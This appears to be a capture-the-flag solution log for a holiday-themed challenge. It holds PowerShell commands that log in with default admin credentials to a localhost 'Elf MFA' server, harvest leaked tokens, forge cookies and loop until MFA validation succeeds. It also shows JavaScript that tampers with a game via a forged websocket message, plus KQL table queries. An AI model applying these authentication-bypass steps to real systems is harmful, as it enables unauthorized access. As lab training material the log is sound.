:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*::::::::::::::::::
:::::::::::::::::::::::::::::::-------------=--------::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::------------------------===-=======--=-::::::::::-:::::::::::::::::
::::::::::::::::::::------------:------------=-====================---:::::::::=+::::::::
:::::::::::::::::------------------------------=====================-------::::::::::::::
::::::::::::::-------------------------------------================:------:::::::::::::::
::::::::::::--------------------------------------==============-::--------:::::::::-::::
::::::::::::-------:--------@+:::::::::--=@--------:===========-::-::----==---:::::::::::
::::-------:::::----------@---::::::---+-==+@--------=========-:--:------=====---::::::::
::::--------::::::-------#--------------=-+@------------===------::-----====--==---::::::
::::-------:-:::::::------@=@=++#+++++@@@@@=-----------------:::--------------==---::::::
::::----------::::=-#-:----**%@+++++++%@@=::::::---%@------:--------:--@-+::-------::::::
::::-----:----:::::::::::--::@@**%@--::::::::::::::--=+@------------@--:::::------@::::::
::::---+@::::::---+@:::::::::#@-@--:::::-:=*=-::-----=+*=*=--------@:--:::::::-----=:::::
::::@-:::-::::::-----=@:-:::@+@%---------------==-==+@@@@@=@------@---------:::::--==+%::
:::#:::::::::::-----=+*@:::%#@#-=---------===++*%@@+@=+*#-+*=@-----#====-----------**-%::
::@--::-:::--:---==++*@-:@=+@=+-@=*+++++++**@#%*@-##**-@##%=#%@@@@#*@###@=+**@*****@@@:::
:::@*=--++++++++**@@@@@@*#@-+%@*=*+****@@@+@***@%@@%%%@-%@*@@@@@@@@@@@@@@%%#%%%@@@@@%::::
:::@@@@@@@++#*####@@@@@@@==---====+##@*%=+@*@*%%@@@@@@@@@@@@@@@=--@+@@@@+@@@@@@@@@@-:::::
::::=*%%%%%%%%%%%@@%@@#@-#*+++++====@-++###@%@*@@@@+@@@@-**+--::::--@@%@%%@%%%%%@@@-:::::
::::---@@@@##@@@@@@@@@--+@%-#+#**+=+++**%@@@@@@@##%**%--:::::::--*----=*@@@@@@@*@@---::::
::::---@@***%%%%@@@@*@-=-+=@#=#%##***##@@@@@#@@*@%%==---:::::::::::----=+---------=--::::
::::----@+=%#@@@=@@-----##@+:-=%@@%##%@@@@@@@@@@@@*+=-----::::::::::::=+*-@:----===--::::
::::---------------------*@##=+@@%@==-+@@@@@@@@@@@-+=---------------===+**--=======-:::::
:::---------------:------%+#%@@@@@#%%%%@@@@#@@@@@@@-+======---------==***#@========-:::::
:::-%-%---------:---------*-*##%@@@@@@@@@@@@@@@@@--=@@-*===++++++++++***@*===++++++=-::::
:::--+---------=-------:-----#==#@%%%@@@@@*@%@@@----@+@@@=***@@@@***@@@@%===++++-++=-::::
:::--------------:::::--------------##-----@@--------@%@#@@%%%%@@@@@@#@=====+++++++=-::::
:::---------------::::::---------------------=====---@@##@@@@@@@@@@@#%#-=====+++++--:::::
:::---======-------------------------=----==========--*=@@%@++*@@%%%@@-======:----==-::::
:::---===============------------------===============-----#@@@@@-----===-::---=====-::::
:::--=============+===--------------===-==================--------======::----=======-:::
:::--================---::::-=======-======================+=====+====::------===+===-:::
:::--===================--:::::====================+====-:---==+++=::-----=======---=-:::
:::--========:===========------:=====================:::-----====:-----==========+===-:::
 / ___/ _ \|  _ \| ____\ \      / / _ \|  _ \|  _ \   _____  ====:-----==========+===-:::
| |  | | | | | | |  _|  \ \ /\ / / | | | |_) | | | | |_____| ====:-----==========+===-:::
| |__| |_| | |_| | |___  \ V  V /| |_| |  _ <| |_| | |_____| ====:-----==========+===-:::
 \____\___/|____/|_____|__\_/\_/__\___/|_| \_\____/  _  _________   ______    _    ____
| ____\ \/ /  _ \| ____|  _ \_   _|_   _| | | |  _ \| |/ / ____\ \ / / ___|  / \  |  _ \
|  _|  \  /| |_) |  _| | |_) || |   | | | | | | |_) | ' /|  _|  \ V / |     / _ \ | |_) |
| |___ /  \|  __/| |___|  _ < | |   | | | |_| |  _ <| . \| |___  | || |___ / ___ \|  _ <
|_____/_/\_\_| __|_____|_|_\_\|_| __|_|  \___/|_| \_\_|\_\_____| |_| \____/_/   \_\_| \_\
\ \   / / ____|  _ \|  \/  | ____|  _ \  / \  | |    ==========---======++++=+=--+++=-:::
 \ \ / /|  _| | |_) | |\/| |  _| | | | |/ _ \ | |    ==========---======++++=+=--+++=-:::
  \ V / | |___|  _ <| |  | | |___| |_| / ___ \| |___ ==========---======++++=+=--+++=-:::
   \_/  |_____|_| \_\_|  |_|_____|____/_/   \_\_____|==========---======++++=+=--+++=-:::
::::--====+++=---++++++=+========------::::=-:---==============---======++++=+=--+++=-:::
::::--==+++++++==---+++++++++++========-----================++++==-========-++=++====-:::
:::::--====+++++-++--++++++++++=--------=-==============+++---------=====++=+++++::::::::
::::::::======+++=+++=+++++++++++++++=++++===========++++:-------=---=-=----:::::::::::::
::::::::::::::::--=-=======++=++++++++++++++============--------------:::::::::::::::::::
:::::::::::::::::::::::::::------===-==-===-==-----::-:::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Get-Content welcome.txt

System Overview
The Elf Weaponry Multi-Factor Authentication (MFA) system safeguards access to a classified armory containing elf weapons. This high-security system is equipped with advanced defense mechanisms, including canaries, retinal scanner and keystroke analyzing, to prevent unauthorized access. In the event of suspicious activity, the system automatically initiates a lockdown, restricting all access until manual override by authorized personnel.

Lockdown Protocols
When the system enters lockdown mode, all access to the armory is frozen. This includes both entry to and interaction with the weaponry storage. The defense mechanisms become active, deploying logical barriers to prohibit unauthorized access. During this state, users cannot disable the system without the intervention of an authorized administrator. The system logs all access attempts and alerts central command when lockdown is triggered.

Access and System Restoration
To restore access to the system, users must follow strict procedures. First, authorized personnel must identify the scrambled endpoint. Next, they must deactivate the defense mechanisms by entering the override code and presenting the required token. After verification, the system will resume standard operation, and access to weaponry is reactivated.

(Get-Content welcome.txt | Measure-Object -Word).Words

180

netstat -ant

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:1225          0.0.0.0:*               LISTEN
tcp6       0      0 127.0.0.1:55352         127.0.0.1:1225          TIME_WAIT
tcp6       0      0 172.17.0.2:40520        13.107.246.38:443       TIME_WAIT

Invoke-WebRequest -Uri 'http://localhost:1225'

Invoke-WebRequest: Response status code does not indicate success: 401 (UNAUTHORIZED).

$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
Invoke-WebRequest -Uri 'http://localhost:1225' -Headers @{Authorization = $authHeader}

StatusCode        : 200
StatusDescription : OK
Content           : <html>
                    <body>
                    <pre>
                    ----------------------------------------------------
                    🪖 Elf MFA webserver🪖
                    ⚔️ Grab your tokens for access to weaponry ⚔️
                    ⚔️ Warning! Sensitive information on the server, protect a…
RawContent        : HTTP/1.1 200 OK
                    Server: Werkzeug/3.0.6
                    Server: Python/3.10.12
                    Date: Tue, 31 Dec 2024 05:22:12 GMT
                    Connection: close
                    Content-Type: text/html; charset=utf-8
                    Content-Length: 3475

                    <html>
                    <body>
                    <pre>
                    ---…
Headers           : {[Server, System.String[]], [Date, System.String[]], [Connection, System.S
                    tring[]], [Content-Type, System.String[]]…}
Images            : {}
InputFields       : {}
Links             : {@{outerHTML=<a href="http://localhost:1225/endpoints/1">Endpoint 1</a>; t
                    agName=A; href=http://localhost:1225/endpoints/1}, @{outerHTML=<a href="ht
                    tp://localhost:1225/endpoints/2">Endpoint 2</a>; tagName=A; href=http://lo
                    calhost:1225/endpoints/2}, @{outerHTML=<a href="http://localhost:1225/endp
                    oints/3">Endpoint 3</a>; tagName=A; href=http://localhost:1225/endpoints/3
                    }, @{outerHTML=<a href="http://localhost:1225/endpoints/4">Endpoint 4</a>;
                     tagName=A; href=http://localhost:1225/endpoints/4}…}
RawContentLength  : 3475
RelationLink      : {}

$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
$response = Invoke-WebRequest -Uri 'http://localhost:1225' -Headers @{Authorization = $authHeader}
$response.Links | ForEach-Object {
    $content = Invoke-WebRequest -Uri $_.href -Headers @{Authorization = $authHeader}
    if (($content | Measure-Object -Word).Words -eq 138) {
        $content.Content
    }
}

<html><head><title>MFA token scrambler</title></head><body><p>Yuletide cheer fills the air,<br>    A season of love, of care.<br>    The world is bright, full of light,<br>    As we celebrate this special night.<br>    The tree is trimmed, the stockings hung,<br>    Carols are sung, bells are rung.<br>    Families gather, friends unite,<br>    In the glow of the fire’s light.<br>    The air is filled with joy and peace,<br>    As worries and cares find release.<br>    Yuletide cheer, a gift so dear,<br>    Brings warmth and love to all near.<br>    May we carry it in our hearts,<br>    As the season ends, as it starts.<br>    Yuletide cheer, a time to share,<br>    The love, the joy, the care.<br>    May it guide us through the year,<br>    In every laugh, in every tear.<br>    Yuletide cheer, a beacon bright,<br>    Guides us through the winter night </p><p> Note to self, remember to remove temp csvfile at http://127.0.0.1:1225/token_overview.csv</p></body></html>

$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
(Invoke-WebRequest -Uri 'http://127.0.0.1:1225/token_overview.csv' -Headers @{Authorization = $authHeader}).Content

5be8911ced448dbb6f0bd5a24cc36935,REDACTED
1acbfea6a2dad66eb074b17459f8c5b6,REDACTED
0f262d0003bd696550744fd43cd5b520,REDACTED
8cac896f624576d825564bb30c7250eb,REDACTED
8ef6d2e12a58d7ec521a56f25e624b80,REDACTED
b4959370a4c484c10a1ecc53b1b56a7d,REDACTED
38bdd7748a70529e9beb04b95c09195d,REDACTED
8d4366f08c013f5c0c587b8508b48b15,REDACTED
67566692ca644ddf9c1344415972fba8,REDACTED
8fbf4152f89b7e309e89b9f7080c7230,REDACTED
936f4db24a290032c954073b3913f444,REDACTED
c44d8d6b03dcd4b6bf7cb53db4afdca6,REDACTED
cb722d0b55805cd6feffc22a9f68177d,REDACTED
724d494386f8ef9141da991926b14f9b,REDACTED
67c7aef0d5d3e97ad2488babd2f4c749,REDACTED
5f8dd236f862f4507835b0e418907ffc,4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C
# [*] SYSTEMLOG
# [*] Defence mechanisms activated, REDACTING endpoints, starting with sensitive endpoints
# [-] ERROR, memory corruption, not all endpoints have been REDACTED
# [*] Verification endpoint still active
# [*] http://127.0.0.1:1225/tokens/<sha256sum>
# [*] Contact system administrator to unlock panic mode
# [*] Site functionality at minimum to keep weapons active

$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
(Invoke-WebRequest -Uri 'http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C' -Headers @{Authorization = $authHeader}).Content

<h1>[!] ERROR: Missing Cookie 'token'</h1>

$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add((New-Object System.Net.Cookie("token", "5f8dd236f862f4507835b0e418907ffc", "/", "127.0.0.1")))
$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
(Invoke-WebRequest -Uri 'http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C' -Headers @{Authorization = $authHeader} -WebSession $session).Content

<h1>Cookie 'mfa_code', use it at <a href='1735623476.302283'>/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C</a></h1>

$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add((New-Object System.Net.Cookie("token", "5f8dd236f862f4507835b0e418907ffc", "/", "127.0.0.1")))
$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
$mfa = Invoke-WebRequest -Uri 'http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C' -Headers @{Authorization = $authHeader} -WebSession $session
$session.Cookies.Add((New-Object System.Net.Cookie("mfa_token", $mfa.Links[0].href, "/", "127.0.0.1")))
(Invoke-WebRequest -Uri 'http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C' -Headers @{Authorization = $authHeader} -WebSession $session).Content

<h1>[+] Success</h1><br><p>Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==</p>

[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg=="))
Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction

echo 5f8dd236f862f4507835b0e418907ffc | sha256sum
4216b4faf4391ee4d3e0ec53a372b2f24876ed5d124fe08e227f84d687a7e06c  -

# Obtain tokens
$authHeader = "Basic $([Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin')))"
$tokenoverview = (Invoke-WebRequest -Uri 'http://127.0.0.1:1225/token_overview.csv' -Headers @{Authorization = $authHeader}).Content

# Loop tokens
$tokenoverview.Split("`n") | Select-Object -Skip 1 | ForEach-Object {

    # Validate token
    $token = $_.Split(",")[0].Trim()
    if ($token.Length -ne 32) {
        continue
    }

    # Compute SHA-256S
    $stream = [IO.MemoryStream]::new([byte[]][char[]]($token + "`n"))
    $hash =  (Get-FileHash -Algorithm SHA256 -InputStream $stream).Hash

    # Create a new session
    $session = New-Object Microsoft.PowerShell.Commands.WebRequestSession

    # Obtain MFA token
    $session.Cookies.Add((New-Object System.Net.Cookie("token", $token, "/", "127.0.0.1")))
    $mfa = Invoke-WebRequest -Uri "http://127.0.0.1:1225/tokens/$hash" -Headers @{Authorization = $authHeader} -WebSession $session

    # Validate MFA token
    $session.Cookies.Add((New-Object System.Net.Cookie("mfa_token", $mfa.Links[0].href, "/", "127.0.0.1")))
    for ($i=0; $i -le 10; $i++) {
        $result = (Invoke-WebRequest -Uri "http://127.0.0.1:1225/mfa_validate/$hash" -Headers @{Authorization = $authHeader} -WebSession $session).Content
        if ($result -like "*Success*") {
            $result
            return
        }
    }
}

<h1>[+] Success, defense mechanisms deactivated.</h1><br>Administrator Token supplied, You are able to control the production and deployment of the snow cannons. May the best elves win: WombleysProductionLineShallPrevail</p>

var singlePlayer = "false";
function checkAndUpdateSinglePlayer() {
const localStorageValue = localStorage.getItem("singlePlayer");
if (localStorageValue === "true" || localStorageValue === "false") {
  singlePlayer = String(localStorageValue === "true");
}
const urlParams = new URLSearchParams(window.location.search);
const urlValue = urlParams.get("singlePlayer");
if (urlValue === "true" || urlValue === "false") {
  singlePlayer = String(urlValue === "true");
}

: mainScene.ws.sendMessage({
    type: "moasb",
    launch_code: "85e8e9729e2437c9d7d6addca68abb9f",
});

mainScene.ws.sendMessage({type:"moasb",launch_code:"85e8e9729e2437c9d7d6addca68abb9f"})

let snowball = {
    "type": "moasb",
    "x": snowBallPosition.x,
    "y": snowBallPosition.y,
    "owner": this.player1.playerId,
    "isWomb": this.player1.isWomb,
    "blastRadius": 100,
    "velocityX": velocityX,
    "velocityY": velocityY
};

AuthenticationEvents | take 10;
Email | take 10;
Employees | take 10;
FileCreationEvents | take 10;
InboundNetworkEvents | take 10;
OutboundNetworkEvents | take 10;
PassiveDns | take 10;
ProcessEvents | take 10;
SecurityAlerts | take 10;